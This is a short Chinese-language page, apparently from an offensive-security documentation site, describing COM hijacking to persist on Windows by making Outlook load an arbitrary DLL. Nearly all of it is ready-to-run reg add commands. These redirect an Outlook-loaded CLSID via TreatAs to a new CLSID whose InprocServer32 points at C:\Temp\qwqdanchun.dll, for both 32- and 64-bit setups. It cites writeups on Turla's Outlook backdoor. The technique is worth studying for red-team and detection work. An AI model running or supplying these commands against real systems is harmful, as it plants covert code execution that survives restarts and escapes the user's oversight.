> For the complete documentation index, see [llms.txt](https://docs.qwqdanchun.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.qwqdanchun.com/main/persistence/office/com-hijack.md).

# COM劫持

Outlook在启动时会加载多个COM对象，我们可以通过修改注册表的方式劫持Outlook的启动过程，用来加载DLL。

```
#32bit office on 32bit windows/64bit office on 64bit windows
reg add HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs /t REG_SZ /d "{49CBB1C7-97D1-485A-9EC1-A26065633066}" /f
reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066} /t REG_SZ /d "Mail Plugin" /f
reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /t REG_SZ /d "C:\Temp\qwqdanchun.dll" /f
reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /v ThreadingModel /t REG_SZ /d "Apartment" /f
#32bit office on 64bit windows
reg add HKCU\Software\Classes\Wow6432Node\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs /t REG_SZ /d "{49CBB1C7-97D1-485A-9EC1-A26065633066}" /f
reg add HKCU\Software\Classes\Wow6432Node\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066} /t REG_SZ /d "Mail Plugin" /f
reg add HKCU\Software\Classes\Wow6432Node\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /t REG_SZ /d "C:\Temp\qwqdanchun.dll" /f
reg add HKCU\Software\Classes\Wow6432Node\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /v ThreadingModel /t REG_SZ /d "Apartment" /f
```

参考文章：

{% embed url="<https://www.welivesecurity.com/2018/08/22/turla-unique-outlook-backdoor/>" %}

{% embed url="<https://3gstudent.github.io/3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-Outlook/>" %}